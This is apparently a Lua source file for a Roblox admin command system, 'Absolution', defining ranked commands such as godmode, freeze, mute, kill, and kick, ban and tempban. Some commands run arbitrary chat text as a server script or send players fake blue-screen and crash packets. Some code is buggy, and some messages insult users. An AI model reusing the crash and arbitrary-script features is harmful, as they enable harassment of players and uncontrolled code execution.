Absolution.Functions.Command('Load Weapon', {'loadw','weapon','wep'}, 1, "Loads a weapon", "-w (Warrior) -r (Rogue) -m (Monk) -b (Bishop) -t (Titan)", function(Speaker, Msg)
if Absolution.Functions.GetSplit(Msg)=='r' then
Absolution.Functions.loadWeapon('Rogue', Speaker)
Absolution.Functions.Out(Speaker, 'Running Rogue LocalScript.', 5)
elseif Absolution.Functions.GetSplit(Msg)=='m' then
Absolution.Functions.loadWeapon('Monk', Speaker)
Absolution.Functions.Out(Speaker, 'Running Monk LocalScript.', 5)
elseif Absolution.Functions.GetSplit(Msg)=='b' then
Absolution.Functions.loadWeapon('Bishop', Speaker)
Absolution.Functions.Out(Speaker, 'Running Bishop LocalScript.', 5)
elseif Absolution.Functions.GetSplit(Msg)=='t' then
Absolution.Functions.loadWeapon('Titan', Speaker)
Absolution.Functions.Out(Speaker, 'Running Titan LocalScript.', 5)
elseif Absolution.Functions.GetSplit(Msg)=='w' then
Absolution.Functions.loadWeapon('Warrior', Speaker)
Absolution.Functions.Out(Speaker, 'Running Warrior LocalScript.', 5)
end
end)

Absolution.Functions.Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
	if #Msg>0 and tonumber(Msg) and Absolution.Ranks[tonumber(Msg)] then
	Absolution.Functions.OpenCmds(tonumber(Msg), Speaker)
	elseif #Msg>0 and not tonumber(Msg) and Msg:lower()=='all' then
	Absolution.Functions.OpenCmds('all', Speaker)
	elseif #Msg>0 and not tonumber(Msg) then
	Absolution.Functions.Output(Speaker, 'That\'s not a valid number!', 'Really red')
	else
	Absolution.Functions.ShowCommands(Speaker)
	end
Absolution.Functions.Out(Speaker, 'Got Commands.', 5)
end)
Absolution.Functions.Command("Debugger Info", {"sinfo", "serverstats", 'gstats','stats'}, 0, "Gets server stats", "No Flags", function(Speaker, Msg)
Absolution.Functions.Dismiss(Speaker)
Absolution.Handler:sendPacket(Speaker, 'TerminalOn')
	for index,key in next,Absolution.Functions.getServerInfo() do
		Absolution.Functions.Out(Speaker, index..' = '.. tostring(key), 2)
	end
Absolution.Functions.Out(Speaker, 'Got ServerStats.', 5)
end)
-- Rank 1 --
Absolution.Functions.Command('Play Music',{'play','music','sound'}, 1, 'Plays music <id>','-n (No Music)',function(Speaker,Msg)
	if Absolution.Functions.GetSplit(Msg) == "n" then
		local rtn = {}

		local function recurse(obj)
			for i,v in next,obj:children'' do
				if v:isA('Sound') then
					table.insert(rtn,v)
				end
				recurse(v)
			end
		end

		for q,e in pairs(rtn) do
			v.Volume = 0
			v:Stop()
			v:Destroy()
		end

		recurse(Absolution.Services.Workspace)
		Absolution.Functions.Out(Speaker, 'Music cleared!',5)
	else
		Absolution.Functions.PlayAudio(Speaker,Msg)
		Absolution.Functions.Out(Speaker, 'Playing Audio '..Msg, 5)
	end
end)
Absolution.Functions.Command('Countdown', {'cd', 'count', 'countdown'}, 1, 'Makes a countdown in the server', 'No flags', function(Speaker, Msg)
	Absolution.Functions.Output(Speaker, 'Creating a countdown...', 'Random', nil, 3)
	if tonumber(Msg) and tonumber(Msg) > 0 and tonumber(Msg) < 60 then
		local Hint = Instance.new('Message', workspace)
		for i = tonumber(Msg),1,-1 do
			if not Hint and Hint.Parent.Name=='Workspace' then Hint = Instance.new('Message',workspace) end
			Hint.Text = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[ABSOLUTION] "..i
			wait(1)
		end
		if Hint then Hint:Destroy() end
		Absolution.Functions.Out(Speaker, 'Created a countdown.', 5)
	elseif tonumber(Msg) < 0 then
		Absolution.Functions.Out(Speaker, 'You must think I\'m stupid. The number can\'t be negative!', 4)
	elseif tonumber(Msg) > 60 then
		Absolution.Functions.Out(Speaker, 'Wow nice going you stupid abuser. Don\'t play games with me! Make the number smaller.', 4)
	end
end)
Absolution.Functions.Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _, v2 in pairs(v.Character:GetChildren()) do
						if v2:IsA("ForceField") then
							v2:remove()
						end
					end
				Absolution.Functions.Out(Speaker, 'Removed '..v.Name..'\'s Forcefield.', 1)
				end)
			end
		end
	else
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					Instance.new("ForceField", v.Character)
					Absolution.Functions.Out(Speaker, 'Gave forcefield to '..v.Name..'.', 1)
				end)
			end
		end
	end
end)

local HTTP = game:GetService("HttpService")

Absolution.Functions.Command("Dictionary", {"dict","dictionary"}, 1, "Uses dictionary functions", "-e (Example) -d(Define)", function(Speaker, Msg)
	local example;
	if Absolution.Functions.GetSplit(Msg) == "e" then
		Msg = Msg:gsub('-e','')
		example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?example="..Msg.."")
	elseif Absolution.Functions.GetSplit(Msg) == "d" then
		Msg = Msg:gsub('-d','')
		example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?define="..Msg.."")
	end
	if example == nil then
		--Absolution.Functions.Output(Speaker, "Please enter a word", 'Bright blue')
		Absolution.Functions.Out(Speaker, "Please enter a word", 5)
	elseif example == "No example found." then
		--Absolution.Functions.Output(Speaker, "Could not find data for "..Msg, 'Really red')
		Absolution.Functions.Out(Speaker, "Could not find data for "..Msg, 4)
	else
		--Absolution.Functions.Output(Speaker, Msg..": "..example)
		Absolution.Functions.Out(Speaker, Msg..": "..example, 1)
	end
end)

Absolution.Functions.Command("Server IP", {"ip", "serverip"}, 1, "Returns Server IP", "No Flags", function(Speaker, Msg)
	local example = HTTP:GetAsync("https://api.ipify.org")
	if example == nil then
		--Absolution.Functions.Output(Speaker, "Could not find IP", 'Bright blue')
		Absolution.Functions.Out(Speaker, "Could not find IP", 5)
	elseif example == "IP Not found." then
		--Absolution.Functions.Output(Speaker, "Could not find data for server.", 'Really red')
		Absolution.Functions.Out(Speaker, "Could not find data for server.", 4)
	else
		--Absolution.Functions.Output(Speaker, "Server IP: "..example)
		Absolution.Functions.Out(Speaker, "Server IP: "..example, 1)
	end
end)


Absolution.Functions.Command("URI Shortener", {"tinyurl",'shorten'}, 1, "Shortens an url", "No Flags", function(Speaker, Msg)
	local example = HTTP:GetAsync("https://is.gd/create.php?format=simple&url="..Msg.."")
	if example == nil then
		--Absolution.Functions.Output(Speaker, "Please enter a name", 'Bright blue')
		Absolution.Functions.Out(Speaker, "Please enter a name", 5)
	elseif example == "Error: Please enter a valid URL to shorten" then
		--Absolution.Functions.Output(Speaker, "URL: "..Msg..", is not valid", 'Really red')
		Absolution.Functions.Out(Speaker, "URL: "..Msg..", is not valid", 4)
	else
		--Absolution.Functions.Output(Speaker,"URL: "..example..".")
		Absolution.Functions.Out(Speaker, "URL: "..example..".", 1)
	end
end)

Absolution.Functions.Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for __,vv in pairs(v.Character:GetChildren()) do
						if vv:IsA('Humanoid') then
							vv.Name = 'Humanoid'
							vv.MaxHealth = 100
							vv.Health = 100
						end
					end
					Absolution.Functions.Out(Speaker, "Un-Goded "..v.Name..".", 1)
				end)
			end
		end
	else
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for __,vv in pairs(v.Character:GetChildren()) do
						if vv:IsA('Humanoid') then
							vv.Name = 'lal_its_a_humanoid'
							vv.MaxHealth = math.huge
						end
					end
					Absolution.Functions.Out(Speaker, "Goded "..v.Name..".", 1)
				end)
			end
		end
	end
end)
Absolution.Functions.Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _,v in pairs(v.Character:GetChildren()) do
						if v:IsA("Part") then
							v.Anchored = false
						end
					end
					pcall(function() v.Character.FrozenBlock:remove() end)
					Absolution.Functions.Out(Speaker, "Thawed "..v.Name..".", 1)
				end)
			end
		end
	else
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					pcall(function() v.Character.FrozenBlock:remove() end)
					for _,v in pairs(v.Character:GetChildren()) do
						if v:IsA("Part") then
							v.Anchored = true
						end
					end
					local b = Instance.new("Part", v.Character)
					b.Anchored = true
					b.Locked = true
					b.TopSurface, b.BottomSurface = 0,0
					b.Color = BrickColor.new("Light blue").Color
					b.Size = Vector3.new(5,10,5)
					b.Transparency = 0.5
					b.Name = "FrozenBlock"
					b.CFrame = v.Character.Torso.CFrame
					local Weld = Instance.new("Weld", b)
					Weld.Name = "FrozenWeld"
					Weld.Part0 = v.Character.Torso
					Weld.Part1 = b
					Absolution.Functions.Out(Speaker, "Froze "..v.Name..".", 1)
				end)
			end
		end
	end
end)
Absolution.Functions.Command("Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
	local Split = Msg:find('/')--('/')
	local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
	local Speed = tonumber(Msg:sub(Split + 1))
	for _,v in pairs(Player) do
		ypcall(function()
			v.Character.Humanoid.WalkSpeed = Speed
			Absolution.Functions.Out(Speaker, "Gave "..Speed.." walkspeed to "..v.Name".", 1)
		end)
	end
end)
Absolution.Functions.Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u", "")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _,c in pairs(v.Character:GetChildren()) do
						if c.ClassName == "Part" then
							c.Transparency = 0
						end
						if c:findFirstChild("face") then
							c.face.Transparency = 0
						end
						if c:findFirstChild("Handle") then
							c.Handle.Transparency = 0
						end
					end
					Absolution.Functions.Out(Speaker, "Made "..v.Name.." visible.", 1)
				end)
			end
		end
	else
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _,c in pairs(v.Character:GetChildren()) do
						if c.ClassName == "Part" then
							c.Transparency = 1
						end
						if c:findFirstChild("face") then
							c.face.Transparency = 1
						end
						if c:findFirstChild("Handle") then
							c.Handle.Transparency = 1
						end
					end
					Absolution.Functions.Out(Speaker, "Made "..v.Name.." invisible.", 1)
				end)
			end
		end
	end
end)
-- Rank 2 --
Absolution.Functions.Command("Private Base Teleport",{"tpb"}, 2, "Teleports a player to the Private Base", "No Flags", function(Speaker, Msg)
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
	for i,v in pairs(Players) do
	pcall(function()
	if not v.Character then v:LoadCharacter() end
	if v.Character:findFirstChild'Humanoid'.Sit==true then v.Character.Humanoid.Jump = true end
		v.Character.Torso.RotVelocity = Vector3.new(0,0,0)
		wait()
		v.Character:MoveTo(Absolution.Services.Workspace.Terrain:FindFirstChild'AbsolutionBase'.Position+Vector3.new(0,10,0))
		Absolution.Functions.Out(Speaker, "Teleported "..v.Name.." to the private base.", 1)
	end)
	end
end)
Absolution.Functions.Command("Btools",{"bt",'btools'}, 2, "Gives u da btools!", "No Flags", function(Speaker, Msg)
	Absolution.Functions.createLocalScript('TerrainBrushScript', Speaker:WaitForChild('Backpack'), 'le terrain!')
	script.Bin:FindFirstChild("Building Tools"):Clone().Parent = Speaker:WaitForChild('Backpack')
	Absolution.Functions.Out(Speaker, "Got btools.", 1)
end)
Absolution.Functions.Command("Search Music",{"sm","srchm","searchm"}, 2, "Searches catalog for music", "No Flags", function(Speaker, Msg)
	Absolution.Functions.Dismiss(Speaker)
	Absolution.Functions.Output(Speaker,'Retrieving data...')
	local Audio = Absolution.Functions.GetCatalog(Msg, 9)
	local Hats = Absolution.Functions.GetCatalog(Msg, 3)
	local Gear =  Absolution.Functions.GetCatalog(Msg, 5)
	Absolution.Functions.Dismiss(Speaker)
	Absolution.Functions.Output(Speaker, "Audio:\n"..#Audio, "White", function()
		Absolution.Functions.Dismiss(Speaker)
		for _, Data in pairs(Audio) do
			Absolution.Functions.Output(Speaker, Data.Name, "White", function()
			Absolution.Functions.Dismiss(Speaker)
			local datasafe = {
			["Name"] = Data.Name,
			["CreatorID"] = Data.CreatorID,
			["isLimited"] = Data.isLimited,
			["Sales"] = Data.Sales,
			["Favorited"] = Data.Favorited,
			["Description"] = Data.Description,
			["IsForSale"] = Data.IsForSale,
			["Creator"] = Data.Creator,
			["Updated"] = Data.Updated,
			}
			for i,v in pairs(datasafe) do
			pcall(function()
			Absolution.Functions.Output(Speaker,i..': '..tostring(v))
			end)
			end
			Absolution.Functions.Output(Speaker, 'Play '..Data.Name, 'White', function()Absolution.Functions.PlayAudio(Speaker,Data.AssetId) Absolution.Functions.Out(Speaker, "Playing "..Data.Name..".", 1)end)
			end)
		end
	end)
	Absolution.Functions.Output(Speaker, "Hats:\n"..#Hats, "Bright violet", function()
		Absolution.Functions.Dismiss(Speaker)
		for _, Data in pairs(Hats) do
			Absolution.Functions.Output(Speaker, Data.Name.."\n("..Data.AssetId..")", "Bright violet", function()
				for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
					if Speaker.Character then
						Child.Parent = Speaker.Character
						Absolution.Functions.Dismiss(Speaker)
						Absolution.Functions.Out(Speaker, "Got hat "..Data.Name.." ("..Data.AssetId..").", 1)
					end
				end
			end)
		end
	end)
	Absolution.Functions.Output(Speaker, "Gear:\n"..#Gear, "Bright green", function()
		Absolution.Functions.Dismiss(Speaker)
		for _, Data in pairs(Gear) do
			Absolution.Functions.Output(Speaker, Data.Name..":\n"..Data.AssetId, "Bright green", function()
				for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
					Child.Parent = Speaker:FindFirstChild("Backpack") or Absolution.Services.Workspace
					Absolution.Functions.Dismiss(Speaker)
					Absolution.Functions.Out(Speaker, "Got gear "..Data.Name.." ("..Data.AssetId..").", 1)
				end
			end)
		end
	end)
end)

Absolution.Functions.Command('Script',{'skrip','skript','cancer','syntax'}, 2, 'Creates a new script with msg as source', 'No flags', function(Speaker, Msg)
	if #Msg > 0 then
		Absolution.Functions.createScript(Msg, Absolution.Services.Workspace, Speaker.Name..tick())
		Absolution.Functions.Out(Speaker, "Creating normal script.", 1)
	end
end)
Absolution.Functions.Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets) -c (Chat)", function(Speaker,Msg)
	if Absolution.Functions.GetSplit(Msg) == "h" then
		Msg = Msg:gsub("-h", "")
		local m = Instance.new("Hint", Absolution.Services.Workspace)
		m.Text = Msg
		Absolution.Services.Debris:AddItem(m, 3)
	elseif Absolution.Functions.GetSplit(Msg) == "hg" then
		Msg = Msg:gsub("-hg", "")
		Absolution.Functions.Announce(Msg, false)
	elseif Absolution.Functions.GetSplit(Msg) == "t" then
		Msg = Msg:gsub("-t", "")
		Absolution.Functions.Output("All",Speaker.Name..": "..Msg, "Random", nil, 3)
	elseif Absolution.Functions.GetSplit(Msg) == "c" then
		Msg = Msg:gsub("-c", "")
		Absolution.Handler.sendChat(Msg, nil, Speaker.Name)
		Absolution.Functions.Out('All', Speaker.Name..': '..Msg, 5)
	elseif Absolution.Functions.GetSplit(Msg) == "m" then
		Msg = Msg:gsub("-m", "")
		local m = Instance.new("Message", Absolution.Services.Workspace)
		m.Text = Speaker.Name..": "..Msg
		Absolution.Services.Debris:AddItem(m, 3)
	else
		Absolution.Functions.Announce(Msg, true)
	end
end)
-- Rank 3 --
Absolution.Functions.Command("Hamster Ball", {"ball"}, 3, "Gives the speaker a hamster ball.", "No Flags",function(Speaker, Msg)
	if Speaker.Character then
		if Speaker.Character:findFirstChild'Torso' then
			local pos = Speaker.Character.Torso.Position
			Absolution.Functions.MakeBall(pos)
			Absolution.Functions.Out(Speaker, "Got ball.", 1)
		end
	end
end)
--[[
Absolution.Functions.Command("Blind", {"blnd",'nosee','bgui','blind'}, 3, "Toggles a player's blind", "No Flags",function(Speaker, Msg)
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
	local Status;
	Absolution.Functions.Dismiss(Speaker)
	if #Players > 0 then
		for _,v in pairs(Players) do
			coroutine.wrap(function()
				ypcall(function()
					Status = Absolution.Handler:sendPacket(v, 'Blind',{})
					Absolution.Functions.Out(Speaker, "Blinded "..v.Name..".", 1)
				end)
			end)
		end
	end
end)--]]
Absolution.Functions.Command("Mute", {"mute"}, 3, "Mutes A Player", "-u (UnMute)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					Absolution.Handler:sendPacket(v, "unmute")
					Absolution.Functions.Out(Speaker, "Unmuted "..v.Name..".", 1)
				end)
			end
		end
	else
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					Absolution.Handler:sendPacket(v, "mute")
					Absolution.Functions.Out(Speaker, "Muted "..v.Name..".", 1)
				end)
			end
		end
	end
end)
Absolution.Functions.Command("Remove hats", {'nohats','nohat','nh','removehats','bald'}, 3, "Removes a player's hats", "No Flags", function(Speaker, Msg)
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
	if #Players > 0 then
		for _,v in pairs(Players) do
			ypcall(function()
				if v.Character then
					for i,v in pairs(v.Character:children()) do
						if v:IsA('Hat') then
							v:Destroy()
						end
					end
				end
				Absolution.Functions.Out(Speaker, "Removed "..v.Name.."'s hats", 1)
			end)
		end
	else
		Absolution.Functions.Output(Speaker, 'No players defined.','Really red')
	end
end)
Absolution.Functions.Command("GetPlayerInfo", {"pinfo",'showdata','pdata','ginfo'}, 3, "Gets a players info", "No Flags", function(Speaker, Msg)
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
	if #Players <= 1 then
		for _,v in pairs(Players) do
			ypcall(function()
				Absolution.Functions.ShowData(Speaker, v)
				Absolution.Functions.Out(Speaker, "Got "..v.Name.."'s data.", 1)
			end)
		end
	else
		Absolution.Functions.Output(Speaker, 'Too many players!','Really red')
	end
end)
-- Rank 4 --
Absolution.Functions.Command("Full Clean", {"fullclean", "fc", "fclean"}, 4, "Full Cleans The Server", '-f (Full Clean)', function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "f" then
		Absolution.Functions.FullClean()
	else
		Absolution.Functions.CleanWorkspace()
	end
	Absolution.Functions.Out(Speaker, "Got clean.", 5)
end)
Absolution.Functions.Command("Kill", {"kill"}, 4, "Kills A Player", "-l (Loopkill) -ul (Unloopkill) -s (Smite) -r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "r" then
		Msg = Msg:gsub("-r","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v:LoadCharacter()
					Absolution.Functions.Out(Speaker, "Respawned "..v.Name..".", 5)
				end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "s" then
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				for _,i in pairs(v.Character:children()) do
					if i:IsA'BasePart' then
						local Sparkles = Instance.new("Sparkles",i)
						Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
						local Ex = Instance.new("Explosion",Absolution.Services.Workspace)
						Ex.Position = i.Position
						Ex.BlastPressure = 1e105
						i:BreakJoints()
						i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
						coroutine.wrap(function()
							for b=1,5,0.5 do
								i.Size=Vector3.new(b,b,b)
								wait(0.01)
							end
						end)()
					end
				end
				local Base=Instance.new'Part'
				pcall(function()
					Base.Size=Vector3.new(5,1,3)
					Base.Color=Color3.new(BrickColor.new'Bright yellow')
					Base.Anchored=true
					Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
					coroutine.wrap(function()
						for i=0,1,0.1 do
							Base.Transparency=i
							wait()
						end
						Base:Destroy()
					end)()
				end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "e" then
		Msg = Msg:gsub("-e", "")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					local e = Instance.new'Explosion'
					e.Parent = Absolution.Services.Workspace
					e.BlastRadius = 10
					e.BlastPressure = 10000
					e.Position = v.Character.Torso.Position
					Absolution.Functions.Out(Speaker, "Exploded "..v.Name..".", 5)
				end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "l" then
		Msg = Msg:gsub("-l", "")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					if Absolution.Connections.Killing[v.Name] then
						return Absolution.Functions.Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
					end
					Absolution.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
						wait()
						Character:BreakJoints()
					end)
					v.Character:BreakJoints()
				end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "ul" then
		Msg = Msg:gsub("-ul", "")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					if Absolution.Connections.Killing[v.Name] then
						Absolution.Connections.Killing[v.Name]:disconnect()
						Absolution.Connections.Killing[v.Name] = nil
					end
				end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "w" then
		Msg = Msg:gsub("-w", "")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v.Character.Humanoid.WalkSpeed = "99e999"
					Absolution.Functions.Out(Speaker, "Walkspeed killed "..v.Name..".", 5)
				end)
			end
		end
	else
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v.Character:BreakJoints()
					Absolution.Functions.Out(Speaker, "Killed "..v.Name..".", 5)
				end)
			end
		end
	end
end)
Absolution.Functions.Command("Kick", {"kick", "leave", "bai", "kk", "sbban", "gtfo", "kys", "dc"}, 4, "Kicks A Player", "-t (Tempban) -b (Banish) -c (Crash) -n (Nil) -r (Rejoin)",function(Speaker, Msg)
	local Split = Msg:find("/")
	local tbsr = Msg:find";"
	if Absolution.Functions.GetSplit(Msg) == "b" then
		if Absolution.Functions:findRank(Speaker) < 6 then
			return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
		end
		local Reason = (Msg:sub(Split + 1)..' ('..Speaker.Name..')'):gsub('-b','')
		Msg = Msg:gsub("-b","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
		if #Players > 0 then
			for _,v in pairs(Players) do
				if Absolution.Functions:findRank(v) >= 3 then
					ypcall(function()
						Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm PERMANENT ban for: '..Reason,'Really red',function()
							Absolution.Functions.getRankedTable(v.Name).Rank = -1
							Absolution.Functions.getRankedTable(v.Name).Description = Reason
							--Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
							Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
							Absolution.Functions.Out(Speaker, "You banned "..v.Name.." for "..Reason..".", 5)
							wait()
							Absolution.Functions.syncRankOut(v)
							v:Kick('You were banned for '..Reason)
						end)
					end)
				else
					ypcall(function()
						Absolution.Functions.getRankedTable(v.Name).Rank = -1
						Absolution.Functions.getRankedTable(v.Name).Description = Reason
						--Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
						Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
						Absolution.Functions.Out('All', v.Name..' was banned for '..Reason..'.', 5)
						wait()
						Absolution.Functions.syncRankOut(v)
						v:Kick('You were banned for '..Reason)
					end)
				end
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "t" then
	if Absolution.Functions.getRankedTable(Speaker).Rank < 6 then
			return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
		end
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
		local Duration = ((Msg:sub(tbsr + 1)):gsub('-t',''))
		if not tonumber(Duration) and tostring(Duration):len() >= 3 then
			local data = {}
			local form = '[%d+%a+]+'
				for match in Duration:gmatch(form) do
					data[#data+1] = match
				end
				if not data[1] and not data[2] then Absolution.Functions.Output(Speaker,'Invalid time format!','Really red') return end
			local tim = data[1]
			local types = {["years"] = 525600,["months"] = 43800,["weeks"] = 10080,["days"] = 1440,["hours"] = 60}
			local multiplier = types[data[2]]
			if not multiplier then
				local teststr = data[2]..'s'
				if types[teststr] then
					multiplier = types[teststr]
				else
					Absolution.Functions.Output(Speaker,'Invalid time format!','Really red')
				end
			end
			Duration = ((tim*60) * multiplier)
		elseif tonumber(Duration) then
		Duration = Duration*60
		end
		local Reason = (Msg:sub(Split + 1,tbsr-1)..' ('..Speaker.Name..')'):gsub('-t','')
		if #Players > 0 then
			for _,v in pairs(Players) do
				if Absolution.Functions:findRank(v) >= 3 then
					ypcall(function()
						Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm temporary ban for: '..Absolution.Functions.GetTime(Duration),'Really red',function()
							Absolution.Functions.getRankedTable(v.Name).Description = Reason
							Absolution.Functions:setTempBan(v, Reason, (Duration))
							--Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
							Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
							Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
							Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
							wait()
							Absolution.Functions.syncRankOut(v)
							v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
						end)
					end)
				else
					ypcall(function()
						Absolution.Functions.getRankedTable(v.Name).Description = Reason
						Absolution.Functions:setTempBan(v, Reason, (Duration))
						--Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
						Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
						Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
						Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
						wait()
						Absolution.Functions.syncRankOut(v)
						v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
					end)
				end
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "r" then
		Msg = Msg:gsub("-r","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					Absolution.Services.TeleportService:Teleport(game.PlaceId, v)
					Absolution.Functions.Out(Speaker, 'Rejoined '..v.Name..'.', 5)
				end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "bs" then
		Msg = Msg:gsub("-bs","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
		local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					--Absolution.Functions.sbOutput(v.Name..' was given bsod for '..Reason, 'Error')
					Absolution.Functions.Announce(v.Name..' was given bsod for '..Reason, 'Error')
					Absolution.Functions.Out('All', v.Name..' was given bsod for '..Reason..'.', 5)
					Absolution.Handler:sendPacket(v, 'bsod',{["REASON"] = Reason})
					game:service'Debris':AddItem(v, 6)
				end)
				wait''
				pcall(function() v:Kick('Disconnected for: '..Reason) end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "c" then
		Msg = Msg:gsub("-c","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
		local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					--Absolution.Functions.sbOutput(v.Name..' was crashed for '..Reason, 'Error')
					Absolution.Functions.Announce(v.Name..' was crashed for '..Reason, 'Error')
					Absolution.Functions.Out('All', v.Name..' was crashed for '..Reason..'.', 5)
